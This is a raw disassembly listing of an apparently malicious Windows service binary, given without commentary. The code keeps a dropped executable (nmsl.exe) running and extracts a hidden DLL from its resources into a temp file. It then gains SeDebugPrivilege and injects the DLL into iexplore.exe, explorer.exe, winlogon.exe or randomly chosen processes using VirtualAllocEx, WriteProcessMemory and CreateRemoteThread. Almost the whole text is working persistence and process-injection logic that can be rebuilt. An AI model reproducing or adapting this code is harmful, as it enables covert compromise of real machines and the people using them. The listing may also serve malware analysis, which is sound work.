call dword_411E3C ; InitializeSecurityDescriptor push 0 push 0 push 1 push [ebp+var_10] call dword_411E40 ; SetSecurityDescriptorDacl mov [ebp+var_C], 0Ch mov eax, [ebp+var_10] mov [ebp+var_8], eax mov [ebp+var_4], 1 push offset a1ea9b031C3014f ; "{1EA9B031-C301-4F76-805F-A41ECF9ED164}" push 0 push 0 lea eax, [ebp+var_C] push eax call dword_411D44 ; CreateEventA mov ebx, eax test ebx, ebx jz short loc_405C6A push offset aEventCreated_ ; "EVENT CREATED.\n" call sub_4075F0 pop ecx jmp short loc_405C7D ; --------------------------------------------------------------------------- loc_405C6A: ; CODE XREF: sub_405C00+5Bj call dword_411CEC ; RtlGetLastWin32Error push eax push offset aEventCreatonEr ; "EVENT CREATON ERROR: %i\n" call sub_4075F0 pop ecx pop ecx loc_405C7D: ; CODE XREF: sub_405C00+68j push 0 push 0 push offset sub_405F73 call sub_407CA0 add esp, 0Ch push eax call dword_411CFC ; CloseHandle push 0 push 0 push offset sub_406A07 call sub_407CA0 add esp, 0Ch mov esi, eax loc_405CA8: ; CODE XREF: sub_405C00:loc_405CF7j test ebx, ebx jz short loc_405CE2 push offset aWaitingForStop ; "WAITING FOR STOP EVENT!\n" call sub_4075F0 pop ecx mov [ebp+var_18], esi mov [ebp+var_14], ebx push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push 2 call dword_411D4C ; WaitForMultipleObjects mov edi, eax test edi, edi jz short loc_405CD8 cmp edi, 1 jnz short loc_405CF7 loc_405CD8: ; CODE XREF: sub_405C00+D1j push 1 call sub_407D70 pop ecx jmp short loc_405CF7 ; --------------------------------------------------------------------------- loc_405CE2: ; CODE XREF: sub_405C00+AAj push 0FFFFFFFFh push esi call dword_411D38 ; WaitForSingleObject test eax, eax jnz short loc_405CF7 push 1 call sub_407D70 pop ecx loc_405CF7: ; CODE XREF: sub_405C00+D6j ; sub_405C00+E0j ... jmp short loc_405CA8 sub_405C00 endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_405D00: ; DATA XREF: DMN0:00405D76o ; DMN1:004471E1o mov eax, [esp+4] cmp eax, 3 jz short loc_405D15 cmp eax, 4 jz short loc_405D32 cmp eax, 5 jz short loc_405D45 jmp short locret_405D68 ; --------------------------------------------------------------------------- loc_405D15: ; CODE XREF: DMN0:00405D07j mov dword_412940, 4 push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus jmp short locret_405D68 ; --------------------------------------------------------------------------- loc_405D32: ; CODE XREF: DMN0:00405D0Cj push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus jmp short locret_405D68 ; --------------------------------------------------------------------------- loc_405D45: ; CODE XREF: DMN0:00405D11j mov dword_412940, 1 push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus push 1 call sub_407D70 pop ecx locret_405D68: ; CODE XREF: DMN0:00405D13j ; DMN0:00405D30j ... retn 4 ; --------------------------------------------------------------------------- loc_405D6B: ; DATA XREF: sub_405E59+18o ; sub_4472C4+18o push offset aServicectrldis ; "ServiceCtrlDispatcher()\n" call sub_4075F0 pop ecx push offset loc_405D00 push off_41295C call dword_411E74 ; RegisterServiceCtrlHandlerA mov dword_412958, eax cmp dword_412958, 0 jz loc_405E4B push 1 push offset dword_411048 call dword_411D08 ; InterlockedExchange push 1Ch push 0 push offset dword_41293C call sub_407960 add esp, 0Ch mov dword_41293C, 110h mov dword_412940, 2 and dword_412944, 0 mov dword_412954, 9C4h push offset aSetservicestat ; "SetServiceStatus(): start pending\n" call sub_4075F0 pop ecx push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus mov dword_412940, 4 push offset aSetservicest_0 ; "SetServiceStatus(): running\n" call sub_4075F0 pop ecx push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus call sub_405C00 ; --------------------------------------------------------------------------- mov dword_412940, 1 push offset aSetservicest_1 ; "SetServiceStatus(): stopped\n" call sub_4075F0 pop ecx push offset dword_41293C push dword_412958 call dword_411E70 ; SetServiceStatus jmp short locret_405E56 ; --------------------------------------------------------------------------- loc_405E4B: ; CODE XREF: DMN0:00405D93j push offset aRegisterservic ; "RegisterServiceCtrlHandler() failed %-("... call sub_4075F0 pop ecx locret_405E56: ; CODE XREF: DMN0:00405E49j retn 8 ; =============== S U B R O U T I N E ======================================= sub_405E59 proc near ; CODE XREF: DMN0:00405E9Fp ; sub_406A81+532p push ebx call sub_40410E test eax, eax jz short loc_405E67 xor eax, eax jmp short loc_405E9D ; --------------------------------------------------------------------------- loc_405E67: ; CODE XREF: sub_405E59+8j mov eax, off_41295C mov dword_412960, eax mov dword_412964, offset loc_405D6B and dword_412968, 0 and dword_41296C, 0 push offset dword_412960 call dword_411E78 ; StartServiceCtrlDispatcherA mov ebx, eax call sub_404162 mov eax, ebx loc_405E9D: ; CODE XREF: sub_405E59+Cj pop ebx retn sub_405E59 endp ; --------------------------------------------------------------------------- call sub_405E59 call sub_407D30 retn ; --------------------------------------------------------------------------- call sub_4051E6 mov dword_411044, eax call sub_407D30 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405EBA proc near ; CODE XREF: sub_405F73+64p ; sub_406A81+1F7p var_854 = dword ptr -854h var_850 = dword ptr -850h var_844 = byte ptr -844h var_44 = dword ptr -44h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 854h push 44h push 0 lea eax, [ebp+var_44] push eax call sub_407960 add esp, 0Ch mov [ebp+var_44], 44h push offset asc_40EDC3 ; "\"" lea eax, [ebp+var_844] push eax call sub_407A00 pop ecx pop ecx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" lea eax, [ebp+var_844] push eax call sub_407A20 pop ecx pop ecx push offset asc_40E5AE ; "\" " lea eax, [ebp+var_844] push eax call sub_407A20 pop ecx pop ecx cmp [ebp+arg_0], 0 jz short loc_405F2A push [ebp+arg_0] lea eax, [ebp+var_844] push eax call sub_407A20 pop ecx pop ecx loc_405F2A: ; CODE XREF: sub_405EBA+5Dj lea eax, [ebp+var_854] push eax lea eax, [ebp+var_44] push eax push 0 push 0 push 0 push 0 push 0 push 0 lea eax, [ebp+var_844] push eax push 0 call dword_411D14 ; CreateProcessA test eax, eax jz short loc_405F6F push [ebp+var_850] call dword_411CFC ; CloseHandle push [ebp+var_854] call dword_411CFC ; CloseHandle xor eax, eax inc eax loc_405F6F: ; CODE XREF: sub_405EBA+98j mov esp, ebp pop ebp retn sub_405EBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_405F73 proc near ; DATA XREF: sub_405C00+81o ; sub_44706B+81o push ebx push esi push offset aServicefixerth ; "ServiceFixerThread started.\n" call nullsub_2 pop ecx loc_405F80: ; CODE XREF: sub_405F73:loc_406008j xor ebx, ebx push offset aCWindowsSystem ; "C:\\WINDOWS\\system32\\nmsl.exe" call dword_411D50 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jz short loc_405FFD call sub_405048 test eax, eax jz short loc_405FBC call sub_405441 test eax, eax jnz short loc_405FAB call sub_405517 loc_405FAB: ; CODE XREF: sub_405F73+31j call sub_405198 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_405FC9 xor ebx, ebx inc ebx jmp short loc_405FC9 ; --------------------------------------------------------------------------- loc_405FBC: ; CODE XREF: sub_405F73+28j call sub_4052BA cmp eax, 0FFFFFFFFh jnz short loc_405FC9 xor ebx, ebx inc ebx loc_405FC9: ; CODE XREF: sub_405F73+42j ; sub_405F73+47j ... test ebx, ebx jz short loc_405FF0 call sub_404162 push offset asc_40E58E ; "**" call sub_405EBA pop ecx test eax, eax jz short loc_405FE9 push 0 call sub_407D70 pop ecx loc_405FE9: ; CODE XREF: sub_405F73+6Cj call sub_40410E jmp short loc_406008 ; --------------------------------------------------------------------------- loc_405FF0: ; CODE XREF: sub_405F73+58j push 1F4h call dword_411D04 ; Sleep jmp short loc_406008 ; --------------------------------------------------------------------------- loc_405FFD: ; CODE XREF: sub_405F73+1Fj push 2710h call dword_411D04 ; Sleep loc_406008: ; CODE XREF: sub_405F73+7Bj ; sub_405F73+88j jmp loc_405F80 sub_405F73 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406010 proc near ; DATA XREF: sub_406086+76o ; DMN1:00447567o var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push eax push ebx push esi mov eax, [ebp+arg_0] mov esi, eax push dword_412970 call dword_411D54 ; ResetEvent loc_406027: ; CODE XREF: sub_406010+4Bj mov [ebp+var_1], 0 push 1 lea eax, [ebp+var_1] push eax push esi call sub_4016DC add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_40605D cmp [ebp+var_1], 2Ah jnz short loc_40605D push 1 lea eax, [ebp+var_1] push eax push esi call sub_401787 add esp, 0Ch mov ebx, eax test ebx, ebx jle short loc_40605D jmp short loc_406027 ; --------------------------------------------------------------------------- loc_40605D: ; CODE XREF: sub_406010+2Ej ; sub_406010+34j ... push esi call sub_4014C2 pop ecx push offset aDlltestthreadP ; "DLLTestThread: pulsing...\n" call nullsub_2 pop ecx push dword_412970 call dword_411D48 ; SetEvent call sub_407D30 pop esi pop ebx mov esp, ebp pop ebp retn sub_406010 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406086 proc near ; DATA XREF: sub_4067B2+11o ; sub_447C1D+11o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 call sub_401359 mov dword_411050, eax push offset aDlltestlistent ; "DLLTestListenThread: binding...\n" call nullsub_2 pop ecx push 0BB8h push 100007Fh push dword_411050 call sub_4015B7 add esp, 0Ch test eax, eax jz short loc_406126 push offset aDlltestliste_0 ; "DLLTestListenThread: listening...\n" call nullsub_2 pop ecx push dword_411050 call sub_401607 pop ecx test eax, eax jz short loc_406126 push offset aDlltestliste_1 ; "DLLTestListenThread: accepting...\n" call nullsub_2 pop ecx push dword_411050 call sub_401621 pop ecx mov [ebp+var_4], eax test eax, eax jz short loc_406126 mov eax, [ebp+var_4] push eax push 0 push offset sub_406010 call sub_407CA0 add esp, 0Ch mov [ebp+var_8], eax push eax call dword_411CFC ; CloseHandle push dword_411050 call sub_4014C2 pop ecx and dword_411050, 0 loc_406126: ; CODE XREF: sub_406086+35j ; sub_406086+50j ... cmp dword_411050, 0 jz short loc_40613B push dword_411050 call sub_4014C2 pop ecx loc_40613B: ; CODE XREF: sub_406086+A7j push offset aDlltestliste_2 ; "DLLTestListenThread: done...\n" call nullsub_2 pop ecx call sub_407D30 mov esp, ebp pop ebp retn sub_406086 endp ; =============== S U B R O U T I N E ======================================= sub_40614F proc near ; CODE XREF: sub_40670D+14p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_406161 ; --------------------------------------------------------------------------- loc_406159: ; CODE XREF: sub_40614F+14j call dword_411CC8 ; GetTickCount mov esi, eax loc_406161: ; CODE XREF: sub_40614F+8j test esi, esi jz short loc_406159 mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_40614F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406183 proc near ; CODE XREF: sub_40628E+9Ep ; sub_40628E+109p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] cmp dword_411058, 0 jz short loc_4061AB push dword_411058 call dword_411CFC ; CloseHandle and dword_411058, 0 loc_4061AB: ; CODE XREF: sub_406183+13j push 0Ah push offset a8001 ; "#8001" push 0 call dword_411D58 ; FindResourceA mov esi, eax test eax, eax jz loc_406287 push esi push 0 call dword_411D5C ; SizeofResource mov [ebp+var_4], eax push [ebp+var_4] push offset aResourceHereSi ; "resource here, size: %i\n" call nullsub_2 pop ecx pop ecx push esi push 0 call dword_411D60 ; LoadResource mov [ebp+var_8], eax test eax, eax jz loc_406287 push [ebp+var_8] call dword_411D64 ; LockResource mov [ebp+var_C], eax test eax, eax jz loc_406287 push 80h push ebx call dword_411D2C ; SetFileAttributesA push offset aWb ; "wb+" push ebx call sub_407690 pop ecx pop ecx mov edi, eax test edi, edi jnz short loc_406237 push ebx push offset aFileSNotCreate ; "file <%s> NOT created\n" call nullsub_2 pop ecx pop ecx xor eax, eax jmp short loc_406287 ; --------------------------------------------------------------------------- loc_406237: ; CODE XREF: sub_406183+A1j push ebx push offset aFileSCreated ; "file <%s> created\n" call nullsub_2 pop ecx pop ecx push edi push 1 mov eax, [ebp+var_4] push eax push [ebp+var_C] call sub_407AF0 add esp, 10h mov [ebp+var_10], eax push edi call sub_4078F0 pop ecx push [ebp+var_10] push ebx push offset aFileSWrittenWs ; "file <%s> written, wsz=%i\n" call nullsub_2 add esp, 0Ch push 7 push ebx call dword_411D2C ; SetFileAttributesA cmp [ebp+var_10], 1 jz short loc_406284 xor eax, eax jmp short loc_406287 ; --------------------------------------------------------------------------- loc_406284: ; CODE XREF: sub_406183+FBj xor eax, eax inc eax loc_406287: ; CODE XREF: sub_406183+3Bj ; sub_406183+6Aj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406183 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40628E proc near ; CODE XREF: sub_406815:loc_4068E1p var_1004 = dword ptr -1004h var_1000 = byte ptr -1000h push ebp mov ebp, esp mov eax, 1004h call sub_407AC0 cmp dword_411054, 0 jz short loc_4062E4 push offset aR ; "r" push offset dword_412974 call sub_407690 pop ecx pop ecx mov [ebp+var_1004], eax test eax, eax jz short loc_4062E4 push offset dword_412974 push offset aOldDllS ; "old DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push [ebp+var_1004] call sub_4078F0 pop ecx xor eax, eax inc eax jmp loc_4063CE ; --------------------------------------------------------------------------- loc_4062E4: ; CODE XREF: sub_40628E+14j ; sub_40628E+2Fj push offset dword_412974 push 0FFFh call dword_411D20 ; GetTempPathA push offset aNmsl_ ; "nmsl_" push offset dword_412974 call sub_407A20 pop ecx pop ecx push offset a000_tmp ; "000.tmp" push offset dword_412974 call sub_407A20 pop ecx pop ecx push offset dword_412974 push offset aCheckingDllS ; "checking DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push offset dword_412974 call sub_406183 pop ecx test eax, eax jz short loc_406356 push offset dword_412974 push offset aDllFoundS ; " DLL found: <%s>\n" call nullsub_2 pop ecx pop ecx mov dword_411054, 1 xor eax, eax inc eax jmp short loc_4063CE ; --------------------------------------------------------------------------- loc_406356: ; CODE XREF: sub_40628E+A6j lea eax, [ebp+var_1000] push eax push 0FFFh call dword_411D20 ; GetTempPathA push offset dword_412974 push 0 push offset aNmsl_ ; "nmsl_" lea eax, [ebp+var_1000] push eax call dword_411D24 ; GetTempFileNameA push offset dword_412974 push offset aTryingDllS ; "trying DLL: <%s>\n" call nullsub_2 pop ecx pop ecx push offset dword_412974 call sub_406183 pop ecx test eax, eax jz short loc_4063C1 push offset dword_412974 push offset aDllOkS ; "DLL ok: <%s>\n" call nullsub_2 pop ecx pop ecx mov dword_411054, 1 xor eax, eax inc eax jmp short loc_4063CE ; --------------------------------------------------------------------------- loc_4063C1: ; CODE XREF: sub_40628E+111j push offset aDllNotExtracte ; "DLL not extracted.\n" call nullsub_2 pop ecx xor eax, eax loc_4063CE: ; CODE XREF: sub_40628E+51j ; sub_40628E+C6j ... mov esp, ebp pop ebp retn sub_40628E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4063D2 proc near ; CODE XREF: sub_406576+6p ; sub_40663E+12p ... var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h lea eax, [ebp+var_1C] push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 call dword_411E7C ; LookupPrivilegeValueA test eax, eax jz short loc_406448 call dword_411D68 ; GetCurrentProcess lea edx, [ebp+var_14] push edx push 28h push eax call dword_411E80 ; OpenProcessToken test eax, eax jz short loc_406448 mov [ebp+var_10], 1 mov eax, [ebp+var_1C] mov edx, [ebp+var_18] mov [ebp+var_C], eax mov [ebp+var_8], edx mov [ebp+var_4], 2 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_10] push eax push 10h lea eax, [ebp+var_10] push eax push 0 push [ebp+var_14] call dword_411E84 ; AdjustTokenPrivileges call dword_411CEC ; RtlGetLastWin32Error test eax, eax jz short loc_406445 xor eax, eax jmp short loc_406448 ; --------------------------------------------------------------------------- loc_406445: ; CODE XREF: sub_4063D2+6Dj xor eax, eax inc eax loc_406448: ; CODE XREF: sub_4063D2+19j ; sub_4063D2+30j ... mov esp, ebp pop ebp retn sub_4063D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40644C proc near ; CODE XREF: sub_406576+34p var_1008 = byte ptr -1008h var_1004 = byte ptr -1004h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1008h call sub_407AC0 push ebx push esi push edi push 40h push 1000h push 1000h push 0 push [ebp+arg_0] call dword_411D6C ; VirtualAllocEx mov esi, eax test eax, eax jz loc_40656F push offset aVirtualallocex ; "VirtualAllocEx() ok\n" call nullsub_2 pop ecx lea ebx, [ebp+var_1000] mov byte ptr [ebx], 68h inc ebx mov eax, esi add eax, 50h mov [ebx], eax add ebx, 4 mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 40h mov [ebx], eax add ebx, 4 mov byte ptr [ebx], 50h inc ebx mov word ptr [ebx], 15FFh add ebx, 2 mov eax, esi add eax, 44h mov [ebx], eax push offset aKernel32_dll ; "kernel32.dll" call dword_411D70 ; GetModuleHandleA mov edi, eax lea ebx, [ebp+var_1000] add ebx, 40h push offset aLoadlibrarya ; "LoadLibraryA" push edi call dword_411D74 ; GetProcAddress mov [ebx], eax add ebx, 4 push offset aExitthread ; "ExitThread" push edi call dword_411D74 ; GetProcAddress mov [ebx], eax add ebx, 4 push offset aGetlasterror ; "GetLastError" push edi call dword_411D74 ; GetProcAddress mov [ebx], eax lea ebx, [ebp+var_1000] add ebx, 50h push [ebp+arg_4] push ebx call sub_407A00 pop ecx pop ecx lea eax, [ebp+var_1004] push eax push 1000h lea eax, [ebp+var_1000] push eax push esi push [ebp+arg_0] call dword_411D78 ; WriteProcessMemory test eax, eax jz short loc_40656F push offset aWriteprocessme ; "WriteProcessMemory() ok\n" call nullsub_2 pop ecx push [ebp+arg_4] push offset aS ; "<%s>\n" call nullsub_2 pop ecx pop ecx lea eax, [ebp+var_1008] push eax push 0 push 0 push esi push 0 push 0 push [ebp+arg_0] call dword_411D7C ; CreateRemoteThread loc_40656F: ; CODE XREF: sub_40644C+2Bj ; sub_40644C+EEj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40644C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406576 proc near ; CODE XREF: sub_40663E+6Fp ; sub_40670D+5Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push eax push ebx push esi call sub_4063D2 push [ebp+arg_0] push 0 push 1F0FFFh call dword_411D80 ; OpenProcess mov ebx, eax push offset aProcessOpened_ ; "process opened.\n" call nullsub_2 pop ecx test ebx, ebx jz loc_406636 push [ebp+arg_4] push ebx call sub_40644C pop ecx pop ecx mov esi, eax test esi, esi jz short loc_40662F push esi push offset aThreadInjected ; "thread injected (%i).\n" call nullsub_2 pop ecx pop ecx push 0FFFFFFFFh push esi call dword_411D38 ; WaitForSingleObject lea eax, [ebp+var_4] push eax push esi call dword_411D84 ; GetExitCodeThread push [ebp+var_4] push offset aThreadComplete ; "thread complete (%i).\n" call nullsub_2 pop ecx pop ecx push esi call dword_411CFC ; CloseHandle push ebx call dword_411CFC ; CloseHandle cmp [ebp+var_4], 20h jnb short loc_4065FF xor eax, eax jmp short loc_406638 ; --------------------------------------------------------------------------- loc_4065FF: ; CODE XREF: sub_406576+83j push [ebp+arg_4] push offset aDllInjected ; "DLL injected!\n" call nullsub_2 pop ecx pop ecx cmp dword_411058, 0 jz short loc_40662A push dword_411058 call dword_411CFC ; CloseHandle and dword_411058, 0 loc_40662A: ; CODE XREF: sub_406576+9Fj xor eax, eax inc eax jmp short loc_406638 ; --------------------------------------------------------------------------- loc_40662F: ; CODE XREF: sub_406576+3Fj push ebx call dword_411CFC ; CloseHandle loc_406636: ; CODE XREF: sub_406576+2Aj xor eax, eax loc_406638: ; CODE XREF: sub_406576+87j ; sub_406576+B7j pop esi pop ebx mov esp, ebp pop ebp retn sub_406576 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40663E proc near ; CODE XREF: sub_406815+E6p var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] call sub_4063D2 push 0 push 2 call sub_40702C ; CreateToolhelp32Snapshot mov edi, eax test eax, eax jz loc_406706 mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_407032 ; Process32First loc_40667F: ; CODE XREF: sub_40663E+BDj lea eax, [ebp+var_104] push eax push ebx call dword_411D3C ; lstrcmpi test eax, eax jnz short loc_4066EC push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithS ; "trying <%s> with <%s>\n" call nullsub_2 add esp, 0Ch push esi push [ebp+var_120] call sub_406576 pop ecx pop ecx test eax, eax jz short loc_4066D7 lea eax, [ebp+var_104] push eax push offset aS ; "<%s>\n" call nullsub_2 pop ecx pop ecx push edi call dword_411CFC ; CloseHandle xor eax, eax inc eax jmp short loc_406706 ; --------------------------------------------------------------------------- loc_4066D7: ; CODE XREF: sub_40663E+78j push esi lea eax, [ebp+var_104] push eax push offset aTryingSWithSFa ; "trying <%s> with <%s> failed\n" call nullsub_2 add esp, 0Ch loc_4066EC: ; CODE XREF: sub_40663E+51j lea eax, [ebp+var_128] push eax push edi call sub_407038 ; Process32Next test eax, eax jnz short loc_40667F push edi call dword_411CFC ; CloseHandle xor eax, eax loc_406706: ; CODE XREF: sub_40663E+24j ; sub_40663E+97j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40663E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40670D proc near ; CODE XREF: sub_406815+FBp var_128 = dword ptr -128h var_120 = dword ptr -120h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov ebx, [ebp+arg_0] push offset dword_41105C call sub_40614F pop ecx mov ecx, 100h cdq idiv ecx lea esi, [edx+1] call sub_4063D2 jmp short loc_4067A5 ; --------------------------------------------------------------------------- loc_406739: ; CODE XREF: sub_40670D+9Aj push 0 push 2 call sub_40702C ; CreateToolhelp32Snapshot mov edi, eax test eax, eax jz short loc_4067AB mov [ebp+var_128], 128h lea eax, [ebp+var_128] push eax push edi call sub_407032 ; Process32First loc_40675F: ; CODE XREF: sub_40670D+8Fj dec esi test esi, esi jnz short loc_40678D push ebx push [ebp+var_120] call sub_406576 pop ecx pop ecx test eax, eax jz short loc_406782 push edi call dword_411CFC ; CloseHandle xor eax, eax inc eax jmp short loc_4067AB ; --------------------------------------------------------------------------- loc_406782: ; CODE XREF: sub_40670D+67j push edi call dword_411CFC ; CloseHandle xor eax, eax jmp short loc_4067AB ; --------------------------------------------------------------------------- loc_40678D: ; CODE XREF: sub_40670D+55j lea eax, [ebp+var_128] push eax push edi call sub_407038 ; Process32Next test eax, eax jnz short loc_40675F push edi call dword_411CFC ; CloseHandle loc_4067A5: ; CODE XREF: sub_40670D+2Aj test esi, esi jnz short loc_406739 xor eax, eax loc_4067AB: ; CODE XREF: sub_40670D+39j ; sub_40670D+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40670D endp ; =============== S U B R O U T I N E ======================================= sub_4067B2 proc near ; CODE XREF: sub_406815+45p ; sub_406815+115p push ebx push dword_412970 call dword_411D54 ; ResetEvent push 0 push 0 push offset sub_406086 call sub_407CA0 add esp, 0Ch mov ebx, eax push 2710h mov eax, ebx push eax call dword_411D38 ; WaitForSingleObject test eax, eax jz short loc_406807 push dword_411050 call sub_4014C2 pop ecx mov dword_411050, 1 mov eax, ebx push eax call dword_411CFC ; CloseHandle xor eax, eax jmp short loc_406813 ; --------------------------------------------------------------------------- loc_406807: ; CODE XREF: sub_4067B2+30j mov eax, ebx push eax call dword_411CFC ; CloseHandle xor eax, eax inc eax loc_406813: ; CODE XREF: sub_4067B2+53j pop ebx retn sub_4067B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406815 proc near ; DATA XREF: sub_406A07+18o ; DMN1:00447E8Ao var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi call sub_4036F6 test eax, eax jnz loc_4069FB call sub_403658 test eax, eax jnz loc_4069FB call sub_4063D2 push dword_412970 call dword_411D54 ; ResetEvent push 3E8h push dword_412970 call dword_411D38 ; WaitForSingleObject call sub_4067B2 test eax, eax jz short loc_406893 push 3E8h call dword_411D04 ; Sleep push offset aOldDllFoundWai ; "old DLL found; waiting for <DLL dies> e"... call nullsub_2 pop ecx push 0FFFFFFFFh push dword_412970 call dword_411D38 ; WaitForSingleObject push dword_412970 call dword_411D54 ; ResetEvent loc_406893: ; CODE XREF: sub_406815+4Cj and [ebp+var_C], 0 mov [ebp+var_8], 5 mov esi, [ebp+var_C] loc_4068A1: ; CODE XREF: sub_406815+1BAj push dword_412970 call dword_411D54 ; ResetEvent cmp esi, 2 ja short loc_4068DD test esi, esi jz short loc_4068C2 cmp esi, 1 jz short loc_4068CB cmp esi, 2 jz short loc_4068D4 jmp short loc_4068E1 ; --------------------------------------------------------------------------- loc_4068C2: ; CODE XREF: sub_406815+9Fj mov [ebp+var_4], offset aIexplore_exe ; "iexplore.exe" jmp short loc_4068E1 ; --------------------------------------------------------------------------- loc_4068CB: ; CODE XREF: sub_406815+A4j mov [ebp+var_4], offset aExplorer_exe ; "explorer.exe" jmp short loc_4068E1 ; --------------------------------------------------------------------------- loc_4068D4: ; CODE XREF: sub_406815+A9j mov [ebp+var_4], offset aWinlogon_exe ; "winlogon.exe" jmp short loc_4068E1 ; --------------------------------------------------------------------------- loc_4068DD: ; CODE XREF: sub_406815+9Bj and [ebp+var_4], 0 loc_4068E1: ; CODE XREF: sub_406815+ABj ; sub_406815+B4j ... call sub_40628E test eax, eax jz loc_4069D5 cmp esi, 2 ja short loc_406906 push offset dword_412974 push [ebp+var_4] call sub_40663E pop ecx pop ecx mov ebx, eax jmp short loc_406921 ; --------------------------------------------------------------------------- loc_406906: ; CODE XREF: sub_406815+DCj mov edi, 64h loc_40690B: ; CODE XREF: sub_406815+10Aj push offset dword_412974 call sub_40670D pop ecx mov ebx, eax test ebx, ebx jnz short loc_406921 dec edi test edi, edi jg short loc_40690B loc_406921: ; CODE XREF: sub_406815+EFj ; sub_406815+105j inc esi test ebx, ebx jz loc_4069A8 call sub_4067B2 test eax, eax jz short loc_4069A8 push 3E8h call dword_411D04 ; Sleep push offset aWaitingForDllD ; "waiting for <DLL dies> event...\n" call nullsub_2 pop ecx jmp short loc_406958 ; --------------------------------------------------------------------------- loc_40694B: ; CODE XREF: sub_406815+159j call sub_403658 test eax, eax jnz loc_4069FB loc_406958: ; CODE XREF: sub_406815+134j push 2BCh push dword_412970 call dword_411D38 ; WaitForSingleObject cmp eax, 102h jz short loc_40694B push dword_412970 call dword_411D54 ; ResetEvent mov esi, [ebp+var_C] call sub_403658 test eax, eax jz short loc_40699D push offset aDying ; "dying\n" call nullsub_2 pop ecx push 1 call sub_407D70 pop ecx jmp short loc_4069FB ; --------------------------------------------------------------------------- loc_40699D: ; CODE XREF: sub_406815+171j push offset aDllStopped___ ; "DLL stopped...\n" call nullsub_2 pop ecx loc_4069A8: ; CODE XREF: sub_406815+10Fj ; sub_406815+11Cj call sub_4036F6 test eax, eax jnz short loc_4069FB cmp dword_411054, 0 jz short loc_4069CC push offset dword_412974 call sub_407E20 pop ecx and dword_411054, 0 loc_4069CC: ; CODE XREF: sub_406815+1A3j cmp esi, [ebp+var_8] jle loc_4068A1 loc_4069D5: ; CODE XREF: sub_406815+D3j push offset aInjectionthrea ; "InjectionThread complete\n" call nullsub_2 pop ecx cmp dword_411054, 0 jz short loc_4069FB push offset dword_412974 call sub_407E20 pop ecx and dword_411054, 0 loc_4069FB: ; CODE XREF: sub_406815+10j ; sub_406815+1Dj ... call sub_407D30 pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_406815 endp ; =============== S U B R O U T I N E ======================================= sub_406A07 proc near ; DATA XREF: sub_405C00+99o ; sub_406A81+56Eo ... push ebx push 0 push 0 push 1 push 0 call dword_411D44 ; CreateEventA mov dword_412970, eax push 0 push 0 push offset sub_406815 call sub_407CA0 add esp, 0Ch mov ebx, eax push 0FFFFFFFFh mov eax, ebx push eax call dword_411D38 ; WaitForSingleObject mov eax, ebx push eax call dword_411CFC ; CloseHandle push 0 push 0 push offset sub_40356A call sub_407CA0 